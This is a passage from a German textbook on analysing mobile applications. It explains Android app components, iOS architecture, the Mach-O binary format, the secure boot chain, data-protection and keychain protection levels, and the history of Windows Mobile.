Wie bereits kurz erwähnt, gibt es mehrere essenzielle Bestandteile einer Android-<br />
Applikation. Neben dem gerade erwähnten Android-Manifest und den externen
1.1 Android 7<br />
Bibliotheken gibt es auch im eigentlichen Code der Applikation wichtige Bestandteile,<br />
die bei der Funktion, aber auch bei der Analyse eine wesentliche Rolle spielen.<br />
Hierzu gehören: Activities, Services, Broadcast Receiver, Shared Preferences,<br />
Intents und Content Provider. Da diese Komponenten im Folgenden sehr wichtig<br />
sind, werden sie an dieser Stelle ausführlicher beschrieben:<br />
Android-Manifest: Jede Android-Applikation besitzt eine besondere Datei, die<br />
allgemeine Informationen über die Applikation beinhaltet, wie z. B. den Namen,<br />
die SDK-Version, die eigene Versionsnummer, angeforderte Berechtigungen<br />
sowie Hard- und Softwareanforderungen. Diese Datei heißt Android-<br />
Manifest.xml oder kurz Android-Manifest. Die codierten Informationen innerhalb<br />
dieser Datei werden während der Installation vom System ausgewertet,<br />
um so dem Nutzer die Berechtigungen anzuzeigen, die er akzeptieren<br />
muss, bevor die Applikation erfolgreich installiert werden kann. Des Weiteren<br />
sind in ihr auch sämtliche Activities enthalten, die als Einstiegspunkte<br />
in die Applikation dienen können. Die »MAIN«-Activity wird dabei als Einstiegspunkt<br />
verwendet, sobald ein Nutzer die App über den Launcher oder<br />
den Homescreen startet. Zusätzlich kann man im Android-Manifest erkennen,<br />
ob die Applikation auf externe Events wartet, um besondere Aktionen<br />
auszuführen (z. B. sobald eine SMS mit einem speziellen Text auf dem Gerät<br />
eintrifft, startet die Applikation und zeigt dem Nutzer eine Pop-up-Nachricht<br />
an). Wegen dieser Eigenschaften ist das Android-Manifest einer des besten<br />
Startpunkte für eine manuelle Analyse einer verdächtigen Applikation.<br />
Activities: Activities stellen eine interaktive grafische Benutzeroberfläche bereit,<br />
indem sie Daten und Informationen der Applikation auf dem Display darstellen<br />
und Touch-Events des Nutzers an die Applikation zur Verarbeitung<br />
weitergeben. Jede dieser Activities muss im Android-Manifest deklariert werden,<br />
andernfalls ist eine Ausführung nicht möglich. Wechselt eine Activity<br />
in den Hintergrund, z. B. durch das Öffnen einer anderen Applikation, pausiert<br />
die Activity und alle Daten, die nicht als persistent deklariert wurden,<br />
werden gelöscht. Befindet sich eine Activity in diesem Modus, so kann das<br />
Android-System diese löschen, um Ressourcen freizugeben.<br />
Intents: Intents sind ein spezieller Datentyp der Android-Architektur. Sie werden<br />
zur Kommunikation zwischen Komponenten einer Applikation oder zwischen<br />
Komponenten unterschiedlicher Applikationen verwendet. Jeder Intent<br />
besitzt zwei Attribute – Data und Action – und zusätzlich drei optionale Attribute<br />
– Types, Categories und Extras. Die Aktion beschreibt, was die Applikation<br />
mit den erhaltenen Daten macht. Das optionale Attribut Type ist<br />
nur nötig, falls die übermittelten Daten nicht in der URI-Syntax (Uniform<br />
Resource Identifier) vorliegen. In diesem Fall beschreibt der Type den MIME-<br />
Type der übermittelten Daten. Extras werden dann verwendet, wenn die zu<br />
übermittelten Daten nicht in das eigentliche Datenfeld passen. Das Attribut<br />
Category kann verwendet werden, um die Aktion genauer zu beschreiben.
8 1 Einführung in mobile Betriebssysteme und deren Applikationen<br />
Intents können in zwei Arten aufgeteilt werden: implizit und explizit. Explizite<br />
Intents haben einen spezifischen Receiver, der im Intent selbst definiert ist<br />
und meist in unterschiedlichen Komponenten einer Applikation verwendet<br />
wird. Im Gegensatz dazu werden implizite Intents an den Paketmanager des<br />
Android-Systems weitergegeben, das dann die passende Applikation sucht,<br />
die den passenden Broadcast Receiver definiert hat.<br />
Broadcast Receivers: Android-Applikationen können eigene Activities als sogenannte<br />
Broadcast Receiver beim System registrieren. Dies hat zur Folge,<br />
dass – wenn eine andere Applikation oder das System selbst einen impliziten<br />
Intent via Broadcast-Nachricht versendet – der zugehörige Broadcast Receiver<br />
benachrichtigt wird und die damit verlinkte Activity gestartet wird.<br />
Content Provider: Dieser Datentyp wird verwendet, um persistente Daten für andere<br />
Applikationen zugänglich zu machen. Content Provider sind der einzige<br />
Weg, Daten zwischen Applikationen auszutauschen, da es im System keinerlei<br />
Speicherbereich gibt, der von allen Applikationen gemeinsam benutzt werden<br />
kann. Applikationen verwenden SQL und relationale Datenbankschnittstellen,<br />
um die bereitgestellten Daten zu verarbeiten.<br />
Services: Services sind Komponenten, die im Hintergrund und ohne Nutzerinterface<br />
ausgeführt werden und ebenfalls im Android-Manifest deklariert sowie<br />
dem Service Manager mitgeteilt sein müssen. Bei der Definition dieser Services<br />
kann auch festgehalten werden, wie die Applikationen bzw. die Komponenten<br />
der eigenen Applikation mit dem Service kommunizieren dürfen. Services<br />
können Dateisystemoperationen durchführen, Netzwerkverkehr überwachen<br />
oder anderweitige Informationen (wie z. B. den Standort des Gerätes) an andere<br />
installierte Applikationen weiterreichen. Verlangt eine Applikation Zugriff<br />
auf einen speziellen Service, so wird dies über den Binder IPC und den<br />
Service Manager umgesetzt. Dabei prüft der Service Manager die Zugriffsrechte<br />
und der Binder IPC agiert als direkte Kommunikationsschnittstelle<br />
zwischen Applikation und abgefragtem Service.<br />
Shared Preferences: Diese werden von der Applikation verwendet, um kleinere<br />
Datenmengen zu speichern, die zur Funktion benötigt werden (z. B.: Spielstände).<br />
Sie liegen meist als XML in einem Verzeichnis namens shared_prefs.<br />
Sensible Daten sollten hier auf keinen Fall abgelegt werden, da sie an dieser<br />
Stelle anfällig für Diebstahl und Offenlegung sind.<br />
1.2 Apple iOS<br />
Apple iOS, das ursprünglich aus Mac OS X entstand und auch heute noch viele<br />
Gemeinsamkeiten damit hat, gibt es seit 2007 für iPhones und später auch für<br />
iPads und den AppleTV. Im Gegensatz zu Android ist es jedoch Closed Source.<br />
Die Komponenten, die das System ausmachen und auch im weiteren Verlauf des
1.2 Apple iOS 9<br />
Buches von Interesse sind, werden in den folgenden Abschnitten genauer beleuchtet.<br />
1.2.1 Die Entwicklung der iOS-Plattform<br />
Die Geschichte von iOS begann im Jahr 2005, als bei Apple entschieden wurde,<br />
ein Smartphone zu entwickeln, das auf dem vom Mac bekannten OS X beruhte.<br />
Die Vorstellung des ersten iPhone und damit auch von iOS war knapp 2 Jahre<br />
später im Januar 2007 auf der MacWorld Conference and Expo. Zuerst unterstützte<br />
das iPhone nur einige wenige Applikationen von Apple selbst und sogenannte<br />
Web-Apps, bei denen lediglich im Browser eine GUI angezeigt wird und<br />
die eigentliche Technik auf einem Server-Backend läuft. Ab 2008 folgte dann das<br />
erste SDK, womit es möglich war, auch native Applikationen als Dritthersteller<br />
zu entwickeln. Zeitgleich wurde auch der App Store eingeführt um die Applikationen<br />
an die Endkunden zu vertreiben.<br />
Den offiziellen – und bis heute bekannten – Namen iOS bekam das System<br />
von Apple erst im Jahre 2010. Im selben Jahr wurden auch die Betriebssysteme<br />
von iPhones und iPads mit der Veröffentlichung von iOS 4.2.1 vereinheitlicht.<br />
Seit 2014 gibt es zusätzlich zu dem bekannten iOS auch noch watchOS für die<br />
Apple Watch sowie tvOS für den AppleTV mit einem Erscheinungsdatum ab<br />
2015 (zuvor besaß der AppleTV ebenfalls iOS als Betriebssystem). Die gesamte<br />
zeitliche Entwicklung der Plattform, speziell deren Hauptversionen, ist in Tabelle<br />
1–2 zusammen mit ihren Versionsnummern und Erscheinungsdaten dargestellt.<br />
Wie man an der Tabelle sehr schön erkennen kann, versucht Apple jedes<br />
Jahr zu ihrer September-Keynote eine neue Hauptversion von iOS vorzustellen.<br />
Dieser Termin ist für alle Entwickler, aber auch Analysten, ein Datum, an dem<br />
sie sich die neuen Funktionen der Plattform, aber vor allem auch die Änderungen<br />
an bisherigen Funktionen und Sicherheitsmechanismen genau anschauen sollten.<br />
Auch viele der in diesem Buch verwendeten Werkzeuge und Techniken sind stark<br />
von der iOS-Version der verbundenen Endgeräte abhängig.<br />
1.2.2 Die Architektur des Betriebssystems<br />
Die iOS-Architektur kann in fünf verschiedene Schichten unterteilt werden: Basis<br />
der Architektur ist das sogenannte Core OS (Darwin), darüber liegen die Core-<br />
Services gefolgt von der Schicht, die für Grafik, Audio und Video zuständig ist.<br />
Eine Schicht darüber folgt Cocoa Touch und als oberste Ebene die eigentlichen<br />
Applikationen (siehe Abbildung 1–2). Jede dieser fünf Schichten stellt spezielle<br />
Interfaces und Systemressourcen für die darüberliegende Schicht zur Verfügung,<br />
sodass eine Interaktion zwischen den einzelnen Schichten ermöglicht wird.
10 1 Einführung in mobile Betriebssysteme und deren Applikationen<br />
Version Veröffentlichung Verwendung<br />
1.0 01/2007 s<br />
1.1 09/2007 s<br />
2.0 07/2008 s<br />
2.1 09/2008 s<br />
2.2 11/2008 s<br />
3.0 06/2009 s<br />
3.1 09/2009 s<br />
3.2 04/2010 s,t<br />
4.0 06/2010 s,t,a<br />
4.1 09/2010 s,t,a<br />
4.2 11/2010 s,t,a<br />
4.3 03/2011 s,t,a<br />
5.0 10/2011 s,t,a<br />
5.1 03/2012 s,t,a<br />
6.0 09/2012 s,t,a<br />
6.1 02/2013 s,t,a<br />
7.0 09/2013 s,t,a<br />
7.1 03/2014 s,t,a<br />
8.0 09/2014 s,t,a<br />
8.1 12/2014 s,t,a<br />
8.2 03/2015 s,t,a<br />
8.3 04/2015 s,t,a<br />
8.4 06/2015 s,t,a<br />
9.0 09/2015 s,t<br />
9.1 10/2015 s,t<br />
9.2 12/2015 s,t<br />
Tab. 1–2: Liste der iOS-Versionen und deren Erscheinungsdatum seit der ersten offiziellen Veröffentlichung<br />
in 2007 (s = iPhone/iPod Touch, t = iPad, a = AppleTV)
1.2 Apple iOS 11<br />
Apple<br />
Apps<br />
Applications<br />
Third-Party<br />
Apps<br />
UIKit<br />
Framework<br />
Cocoa Touch<br />
Foundation<br />
Framework<br />
OpenGL<br />
Core<br />
Graphics<br />
OpenAL<br />
Media<br />
Quartz<br />
Core<br />
Audio<br />
Media<br />
Player<br />
Address<br />
Book<br />
Core<br />
Foundation<br />
SQLite<br />
Core & Security Services<br />
CFNetwork<br />
Core<br />
Location<br />
XML<br />
Support<br />
System<br />
Utilities<br />
Core OS (Darwin)<br />
Mach Kernel<br />
Abb. 1–2: Übersicht der Architektur des iOS-Betriebssystems<br />
Das Core OS<br />
Das Core OS von iOS ist auch unter dem Namen Darwin bekannt und ist im<br />
Wesentlichen ein vollwertiges UNIX-Betriebssystem, jedoch ohne grafische Oberfläche.<br />
Es basiert auf dem Nutzerbereich von FreeBSD und einem Mach-Kernel.<br />
Damit bietet es Benutzern und Applikationen eine Schnittstelle zur Kommunikation<br />
mit der verbauten Hardware und steuert das Speichermanagement sowie die<br />
Zugriffe auf das Dateisystem und die unterste Schicht des Netzwerkstacks. Das<br />
Besondere an Darwin ist, dass es sowohl unter Apples älteren PowerPC-Plattform<br />
lauffähig ist (und dort auch Verwendung fand) als auch unter der aktuellen Intelund<br />
ARM-Plattform. Somit findet dieser Bereich von iOS auch auf den aktuellen<br />
mit Mac OS X betriebenen Systemen seinen Einsatz. Geräte mit iOS 9.x oder<br />
Mac OS X el Capitan setzen dabei auf die Version 15.x von Darwin.<br />
Core- und Security-Services<br />
Hier finden sich die Systembibliotheken von iOS, die sowohl vom System selbst<br />
als auch von allen installierten Apps verwendet werden. Hierzu gehören u. a. die
12 1 Einführung in mobile Betriebssysteme und deren Applikationen<br />
API, um mit dem iCloud-Speicherplatz zu interagieren, aber auch die nötigen<br />
Schnittstellen, um SQLite-Datenbanken zu lesen und zu schreiben oder um die<br />
Kommunikation über das Internet vorzunehmen. Des Weiteren sind hier auch die<br />
meisten Sicherheitsmechanismen verankert, wie z. B. Dataprotection (siehe dazu<br />
Abschnitt 1.2.3) und Automatic Reference Counting, auf das wir bei den Analysen<br />
von iOS-Applikationen noch zu sprechen kommen. In dieser Schicht werden<br />
auch In-App-Käufe und der Zugriff auf das Adressbuch sowie die Keychain (siehe<br />
dazu Abschnitt 1.2.3) gesteuert.<br />
Aufrufe von Bibliotheken dieser Schicht sind während des Reversings sehr<br />
gut daran zu erkennen, dass ihre Namen mit CF beginnen (z. B. CFReadStream und<br />
CFNetwork).<br />
Media<br />
In dieser Schicht liegen alle Bibliotheken, die für die Anzeige von Grafiken jeglicher<br />
Art, das Abspielen von Videos, die Wiedergabe sowie Aufzeichnung von Audio<br />
und AirPlay zuständig sind. AirPlay ist im übertragenen Sinn die Streaming-<br />
Technologie von Apple. Sie erlaubt es, Video- und Audiodaten an über WLAN<br />
verbundene Geräte (z. B. den AppleTV) weiterzugeben (engl. streaming), und<br />
stellt diesen Dienst allen Applikationen zur Verfügung.<br />
Cocoa Touch<br />
Cocoa Touch ist vergleichbar mit der Applikationsframework-Schicht auf Android<br />
und stellt dem Entwickler einfache Schnittstellen zu den darunterliegenden<br />
Bibliotheken zur Verfügung. Es besteht aus den folgenden drei Frameworks:<br />
■<br />
■<br />
Foundation (relevante Basisklassen der C-basierten Programmierung, wie<br />
z. B. Strings und Arrays),<br />
UIKit (besteht aus den folgenden zwei Komponenten: AppKit [alles, was man<br />
zur Entwicklung des User-Interface benötigt, also z. B. Menüs und Buttons,<br />
aber auch Sprachanbindung] sowie Core-Data zur Erstellung von Objektgraphen<br />
und zur Ablage von Daten)<br />
Klassen dieser Frameworks sind während des Reversings sehr gut daran zu erkennen,<br />
dass ihre Namen mit NS beginnen (z. B. NSString und NSException).<br />
Die Applikation selbst<br />
Darüber liegen schließlich die eigentlichen Applikationen. Jede dieser installierten<br />
Applikationen ist zum großen Teil in Objective-C geschrieben (mit optionalen eigenen<br />
Bibliotheken) oder neuerdings in Swift. Aktuell gibt es im offiziellen Apple<br />
App Store knapp über 1,5 Millionen dieser Applikationen (Apps) [16].
1.2 Apple iOS 13<br />
Die fertige Applikation wird über den App Store als IPA-Datei verteilt. Dieses<br />
Paket beinhaltet die kompilierte Applikation selbst, weitere Ressourcen, die zur<br />
Ausführung nötig sind, und Metadaten:<br />
■<br />
■<br />
■<br />
Payload/Applikation.app/: enthält alle statischen Ressourcen und eingebundenen<br />
Bibliotheken sowie die kompilierte Applikation (das sogenannte Mach-<br />
O-Binary) selbst<br />
iTunesArtwork: Icon für den App Store und iTunes<br />
iTunesMetadata.plist: Metadaten wie z. B. Entwicklername oder Versionsnummer<br />
Wie auch schon bei Android handelt es sich auch hier um einen Pakettyp, der<br />
mittels unzip entpackt werden kann.<br />
Mach-O-Binary<br />
Wie bereits kurz gezeigt, besteht eine iOS-Applikation aus verschiedenen Bestandteilen.<br />
Der für uns wichtigste Bestandteil ist das eigentliche Executable. Dieses<br />
liegt als Mach-O-Dateityp innerhalb des Paketes und ist – falls die Applikation<br />
aus dem App Store geladen wurde – solange verschlüsselt, bis sie auf dem Gerät<br />
ausgeführt wird. In diesem Moment wird die gesamte Applikation entschlüsselt<br />
und in den Speicher geladen (wie wir dies ausnutzen können, um an das entschlüsselte<br />
Binary für unsere Analyse zu kommen, zeigen wir in Abschnitt 5.3.3).<br />
Bei iOS ist es häufig der Fall, dass innerhalb dieser Mach-O-Datei mehrere<br />
Executables liegen (nämlich eines für jede CPU-Architektur, auf der die Applikation<br />
lauffähig sein soll). Diese Dateien nennt man dann auch Fat Binaries. Wir<br />
werden später sehen, wie man eine einzelne Architektur extrahiert und so ein<br />
schlankeres Binary für die Analysen erhält (siehe dazu Abschnitt 5.2.6).<br />
Ein solches Mach-O-Binary enthält die drei folgenden Bereiche (siehe dazu<br />
auch Abbildung 1–3):<br />
Header: Hiermit beginnt das Mach-O-Binary. Es enthält wichtige Metadaten<br />
über die Datei selbst, dazu zählen u. a. Dateiformat, aber auch die Architektur(en),<br />
die enthalten sind.<br />
Load-Kommandos: Dieser Bereich beschreibt das eigentliche Layout (initiales<br />
Layout der Datei im Speicher, Speicherort der Symboltabelle, Informationen<br />
zu den verschlüsselten Bereichen etc.) und die verlinkten Shared Libraries. Er<br />
besitzt für jedes Data-Segment eigene Load-Kommandos.<br />
Data: Hier befinden sich die entsprechenden Segmente und ihre Code- bzw. Datenbereiche.<br />
Die Struktur eines solchen Binaries – auch Executable genannt – ist für das manuelle<br />
Reversing sehr wichtig, wie wir in Abschnitt 5.4 sehen werden.
14 1 Einführung in mobile Betriebssysteme und deren Applikationen<br />
Header<br />
Load Commands<br />
Segment 1 Command<br />
Segment 2 Command<br />
Data<br />
Segment<br />
1<br />
Segment<br />
2<br />
Section 1 Data<br />
Section 2 Data<br />
Section 3 Data<br />
Section 4 Data<br />
Section 5 Data<br />
.......<br />
Section n Data<br />
Abb. 1–3: Schematische Darstellung eines Mach-O-Binary<br />
1.2.3 Besondere Sicherheitsmechanismen<br />
Möchte man mit iOS als Analyseplattform arbeiten, so ist es wichtig, nicht nur<br />
die Eigenschaften des Systems und der Applikationen zu verstehen, sondern auch<br />
die Sicherheitsmechanismen, die Apple auf dieser Plattform eingeführt hat. Viele<br />
der im Folgenden beschriebenen Eigenschaften haben direkten Einfluss auf<br />
die Sicherheit der Applikation bzw. ihrer Daten und können wie im Fall der<br />
Dataprotection-Level und der Keychain vom Entwickler der Applikation beeinflusst<br />
werden. Aus diesem Grund ist es wichtig, die Unterschiede auch als Analyst<br />
zu kennen.<br />
Secure Boot Chain<br />
Die erste Stufe des Sicherheitsmodells von iOS – und somit auch die erste Hürde<br />
für Angriffe – ist die Secure Boot Chain. Also der Prozess, der das eigentliche Betriebssystem<br />
startet und dabei die gesamte Firmware lädt (für eine schematische<br />
Darstellung siehe Abbildung 1–4). Das Besondere hierbei ist, dass jede der relevanten<br />
Komponenten von Apple digital signiert wurde und diese Signatur beim<br />
Laden der Komponente überprüft wird. Dadurch kann eine Änderung oder gar<br />
der Austausch einzelner Komponenten erkannt und verhindert werden (Ähnliches
1.2 Apple iOS 15<br />
Boot ROM LLB iBoot iOS Kernel<br />
Abb. 1–4: Schematische Darstellung des Bootvorgangs unter iOS<br />
verwendet neuerdings auch Android bei Systemen, die mit KNOX ausgestattet<br />
sind).<br />
Schaltet der Nutzer das Endgerät an, so lädt der Prozessor als Erstes das Boot<br />
ROM. Dies ist ein spezieller Codeabschnitt, der während der Produktion in den<br />
Prozessorchip geschrieben wurde und nicht mehr verändert werden kann. Der<br />
wichtigste Bestandteil dieses Codes ist der Public-Key für Apples Root-CA.<br />
Mithilfe dieses Public Key kann die Signatur des Low Level Bootloader (LLB)<br />
verifiziert werden, bevor dieser dann gestartet wird. Der LLB besitzt neben einer<br />
Vielzahl an Routinen zum Starten essenzieller Schritte auch die Fähigkeit,<br />
das iBoot-Abbild im Flash-Speicher zu lokalisieren und dessen Signatur zu prüfen.<br />
Schlägt dessen Prüfung fehl, startet das iOS-Gerät im sogenannten Recovery-<br />
Modus.<br />
Gelingt die Prüfung, wird iBoot gestartet. Dieser zweite Bootloader nach LLB<br />
überprüft wiederum die Signatur des eigentlichen iOS-Kernels. Dieser lädt das eigentliche<br />
Betriebssystem mit allen Komponenten, die wir von der täglichen Nutzung<br />
kennen.<br />
Was man hier sehr schön erkennen kann, ist, dass Apple alles versucht, um<br />
zu verhindern, dass bis zu diesem Punkt etwas manipuliert wird oder wichtige<br />
Module ausgetauscht werden, die eine spätere Verwendung von iOS selbst beeinflussen<br />
können. Das Umgehen dieser sicheren Kette ist auch die größte Herausforderung<br />
für Personen oder Gruppen, die einen Jailbreak für iOS entwickeln.<br />
Dataprotection-Level<br />
Wie schon erwähnt ist eines der wichtigsten Punkte beim Entwickeln von Applikationen<br />
die Verschlüsselung bzw. sichere Speicherung von Daten. Gerade wenn<br />
es um sehr sensible Daten wie Unternehmensdaten oder persönliche Nachrichten<br />
geht, sollte man darauf achten, ob sie wirklich vor unberechtigtem Zugriff<br />
geschützt sind. Apple bietet hierzu eine eigene API an: NSFileProtection.<br />
Mit ihr hat der Entwickler einer Applikation die Möglichkeit, sich auf die<br />
Methoden und die Hardware von Apple zu verlassen, und muss sich keine eigenen<br />
Methoden oder gar Algorithmen ausdenken, um Daten sicher auf dem Gerät<br />
abzulegen. Hierzu hat Apple vier verschiedene Verschlüsselungsstufen bereitgestellt,<br />
aus denen der Entwickler wählen kann. Wie man in Abbildung 1–5 sehen<br />
kann, gibt es zwei verschiedene Werte, die in die Generierung der Schlüssel einfließen<br />
können: Hardware (also ein einzigartiger Schlüssel, der in der Hardware<br />
verankert ist) und Passcode (also der Passcode, den der Nutzer eingibt, um den
16 1 Einführung in mobile Betriebssysteme und deren Applikationen<br />
Hardware<br />
Passcode<br />
NSFileProtectionNone<br />
NSFileProtectionComplete<br />
UntilFirstUserAuthentication<br />
NSFileProtectionComplete<br />
UnlessOpen<br />
NSFileProtectionComplete<br />
File File File File File File File File<br />
Abb. 1–5: Schematische Darstellung der Ableitung des Schlüsselmaterials<br />
Bildschirm zu entsperren). Die Details zu den einzelnen Stufen werden im Folgenden<br />
noch kurz erläutert1 :<br />
NSFileProtectionNone: Diese Stufe bezeichnet Apple selbst auch gerne als »No<br />
Protection«. Die damit geschützten Daten sind auf einem iOS-Gerät so lange<br />
verschlüsselt, wie es ausgeschaltet ist. Der Schlüssel wird hierbei jedoch lediglich<br />
aus Variablen, die auf dem Gerät gespeichert sind, abgeleitet und bietet<br />
somit nahezu keinen Schutz vor Angreifern.<br />
NSFileProtectionCompleteUntilFirstUserAuthentication: Hierbei wird ein<br />
Schlüssel aus Variablen des Gerätes selbst und dem Passcode des Nutzers<br />
abgeleitet. Der so generierte Schlüssel bleibt so lange im Speicher, bis es<br />
zu einem Neustart oder Ausschalten des Gerätes kommt. Dieser Schutz ist<br />
vergleichbar mit der Festplattenverschlüsselung eines Computers. Dies ist<br />
seit iOS 7.0 für alle Third-Party-Applikationen der Standardwert, sollte es<br />
vom Entwickler nicht explizit anders angegeben worden sein.<br />
NSFileProtectionCompleteUnlessOpen: Diese Stufe ist sehr ähnlich zu der zuvor<br />
erwähnten. Der einzige Unterschied besteht darin, dass der Schlüssel der Datei<br />
aus dem Speicher gelöscht wird, sobald die entsprechende Datei geschlossen<br />
wird. Hiermit ist es immer noch möglich, mit geschützten Dateien zu agieren,<br />
während der Bildschirm des Gerätes gesperrt ist (wie auch zuvor), jedoch<br />
wird der Schlüssel aus dem Speicher entfernt, sobald er nicht mehr benötigt<br />
wird.<br />
1 Für tiefer gehende Details empfehle ich: https://www.apple.com/business/docs/iOS_<br />
Security_Guide.pdf
1.2 Apple iOS 17<br />
NSFileProtectionComplete: Dies ist die höchste Stufe der Sicherheit bei iOS-<br />
Dateien. Hier wird der Schlüssel sofort aus dem Speicher gelöscht, sobald der<br />
Bildschirm des iOS-Gerätes sich sperrt. Dies verhindert aber auch, dass eine<br />
Applikation bei gesperrtem Bildschirm mit den so geschützten Daten arbeiten<br />
kann.<br />
Wie man am Pfeil in Abbildung 1–5 erkennen kann, steigt die Sicherheit der<br />
Verschlüsselung, je weiter man nach rechts geht, d. h., NSFileProtectionComplete<br />
bietet die beste Verschlüsselung. Aus den beschriebenen Eigenschaften und eventuellen<br />
Problemen ergibt sich direkt die Schlussfolgerung, dass ein Entwickler<br />
immer genau überlegen muss, wann er die Daten benötigt und welche Stufe der<br />
Verschlüsselung er somit anwenden kann. Hierbei sollte immer das Maximum<br />
gewählt werden, das den aktuellen Use Case noch ermöglicht.<br />
Die Keychain<br />
Die Keychain auf iOS ist vergleichbar mit einem Safe. Man kann in ihr schützenswerte<br />
oder hoch sensible Daten ablegen wie z. B. Passwörter, Zertifikate oder<br />
Crypto-Schlüssel. Wie auch schon bei der Ablage von Daten im Dateisystem, gibt<br />
es auch hier eine eigene API, die es erlaubt, vordefinierte Schutzlevel zu verwenden:<br />
kSecAttr.<br />
Es gibt folgende Schutzlevel für Einträge in der Keychain (aufsteigend sortiert<br />
von »kein Schutz« bis »maximaler Schutz«):<br />
kSecAttrAccessibleAlways: Diese Einträge in der Keychain sind immer verfügbar<br />
und zugreifbar.<br />
kSecAttrAccessibleAfterFirstUnlock: Diese Einträge sind verfügbar, sobald das<br />
Gerät einmal entsperrt wurde, bis zu einem Neustart.<br />
kSecAttrAccessibleWhenUnlocked: Damit versehene Einträge sind nur dann zugreifbar,<br />
wenn das Gerät entsperrt ist. Dies ist seit iOS 7.0 für alle Einträge<br />
der Standardwert, sollte es vom Entwickler nicht explizit anders angegeben<br />
worden sein.<br />
kSecAttrAccessibleAlwaysThisDeviceOnly: Diese Einträge in der Keychain sind<br />
immer verfügbar und zugreifbar, können aber nicht auf ein anderes Gerät<br />
übertragen werden (z. B. im Rahmen eines Sync oder Restore eines Backups<br />
auf ein neues iOS-Gerät).<br />
kSecAttrAccessibleAfterFirstUnlockThisDeviceOnly: Hier gilt dasselbe wie bei<br />
kSecAttrAccessibleAfterFirstUnlock, die Einträge können aber nicht auf ein<br />
anderes Gerät übertragen werden.<br />
kSecAttrAccessibleWhenUnlockedThisDeviceOnly: Hier gilt dasselbe wie bei<br />
kSecAttrAccessibleWhenUnlocked, die Einträge können aber nicht auf ein anderes<br />
Gerät übertragen werden.
18 1 Einführung in mobile Betriebssysteme und deren Applikationen<br />
kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly: Dies erlaubt es, nur dann<br />
auf Einträge in der Keychain zuzugreifen, wenn vom Nutzer ein Passcode<br />
gesetzt wurde und der Nutzer den Bildschirm mittels Passcode entsperrt hat<br />
(neu seit iOS 8). Wird dieser Passcode später wieder entfernt, können alle so<br />
markierten Einträge nicht mehr gelesen/entschlüsselt werden. Ein Übertragen<br />
auf ein anderes Gerät ist bei diesen Einträgen ebenfalls nicht möglich.<br />
Für einen Vergleich der wichtigsten Schutzlevel zwischen dem Dateisystem und<br />
der Keychain siehe Tabelle 1–3.<br />
Verfügbarkeit der<br />
Daten/Einträge<br />
Dataprotection-Level<br />
Keychain-Level<br />
Endgerät entsperrt NSFileProtectionComplete kSecAttrAccessibleWhenUnlocked<br />
Endgerät gesperrt<br />
Nach erstmaligem<br />
Entsperren<br />
Sobald Passcode<br />
verfügbar<br />
NSFileProtectionComplete<br />
UnlessOpen<br />
NSFileProtectionComplete<br />
UntilFirstUserAuthentication<br />
n/a<br />
n/a<br />
kSecAttrAccessibleAfter-<br />
FirstUnlock<br />
kSecAttrAccessibleWhen<br />
PasscodeSetThisDeviceOnly<br />
Immer NSFileProtectionNone kSecAttrAccessibleAlways<br />
Tab. 1–3: Übersicht der Schutzlevel für Daten auf dem Dateisystem und Keychain-Inhalte<br />
bei iOS<br />
1.3 Windows 10 <strong>Mobile</strong><br />
Windows 10 <strong>Mobile</strong> ist die neueste Generation eines mobilen Betriebssystems von<br />
Microsoft. Microsoft baut seit dem Jahr 2002 solche Betriebssysteme und hatte<br />
sie früher unter dem Namen Windows <strong>Mobile</strong> veröffentlicht. In 2010 wurde dann<br />
das komplett überarbeitete und gänzlich neu-entwickelte System Windows Phone<br />
vorgestellt, das seither immer näher an die Desktop-Version angeglichen wird und<br />
seit 2015 unter dem Namen Windows 10 <strong>Mobile</strong> bekannt ist.<br />
Die Komponenten, die das System ausmachen und auch im weiteren Verlauf<br />
des Buches von Interesse sind, werden wir uns in den folgenden Abschnitten genauer<br />
ansehen, und feststellen, wo für eine Analyse die wichtigen Daten liegen<br />
und die ersten Angriffsvektoren zu finden sind.<br />
1.3.1 Die Entwicklung der Windows Phone-Plattform<br />
Die Geschichte von Windows Phone begann bereits im Jahr 2002 mit der ersten<br />
Version von Windows <strong>Mobile</strong>. Dieses OS basierte auf Windows CE 3.0 und
1.3 Windows 10 <strong>Mobile</strong> 19<br />
wurde speziell für tastaturlose PDAs (Personal Digital Assistant) entwickelt. Im<br />
folgenden Jahr wurden mehrere Versionen dieses Betriebssystems auf den Markt<br />
gebracht, die unterschiedliche Einsatzszenarien hatten. Dazu zählten u. a. PDAs<br />
mit Telefonfunktion und reine Smartphones ohne Touchdisplay.<br />
2005 brachte Microsoft dann die Version Windows <strong>Mobile</strong> 5 auf den Markt.<br />
Dieses OS hatte einige gravierende Änderungen zu den Vorgängern wie z. B. das<br />
.NET Compact Framework und verbesserte Versionen der Office-Apps. Zwischen<br />
2007 und 2010 wurden verschiedene Versionen von Windows <strong>Mobile</strong> 6<br />
veröffentlicht. In den meisten Fällen wurde innerhalb dieser Versionen Bugs sowie<br />
Features, die die User Experience betreffen, geändert. Es gab jedoch auch einige<br />
Features im Bereich der Sicherheit des OS und der angeschlossenen Peripherie.<br />
Dazu zählten u. a. das Verschlüsseln der externen Speicherkarten, Remote Wipe<br />
auch für die Speicherkarte, verbesserte Zertifikatshandhabung und Gerätesperre<br />
sowie eine per Exchange-Policy aktivierbare Verschlüsselung der PIM-Daten<br />
(Personal Information Manager).<br />
2010 kam mit dem eigentlichen Update auf Windows <strong>Mobile</strong> 7 auch die<br />
Namensänderung zu Windows Phone. Dieses OS beruhte zwar immer noch auf<br />
Windows CE, hatte aber zusätzlich Bestandteile aus Windows Compact enthalten<br />
und schon versucht, das neue kachelbasierte Design auf die mobilen Endgeräte zu<br />
bringen. Mit der Allianz von Nokia und Microsoft kam dann im Jahre 2012 Windows<br />
Phone 8 auf den Markt, das als erstes OS der mobilen Microsoft-Geschichte<br />
nicht mehr auf Windows CE aufbaute, sondern denselben Unterbau wie die vom<br />
Desktop bekannten Systeme Windows 8 und Windows RT hatte: Windows NT.<br />
Windows 10 <strong>Mobile</strong> ist die neueste Version des mobilen OS von Microsoft<br />
und wurde speziell für den Einsatz auf Smartphones und Tablets entwickelt. Im<br />
Wesentlichen ist es eine angepasste Ausgabe des vom PC bekannten Windows 10.<br />
Microsoft versucht mit der in 2015 vorgestellten Version, eine Art Symbiose aus<br />
beiden Welten zu erschaffen. Eine echte Verbreitung dieses OS begann jedoch<br />
erst im Herbst 2015 mit dem Update einiger Windows Phone-8.x-Modelle. Der<br />
Marktanteil im 4. Quartal 2015 betrug lediglich 1,1 % [7], was deutlich zeigt,<br />
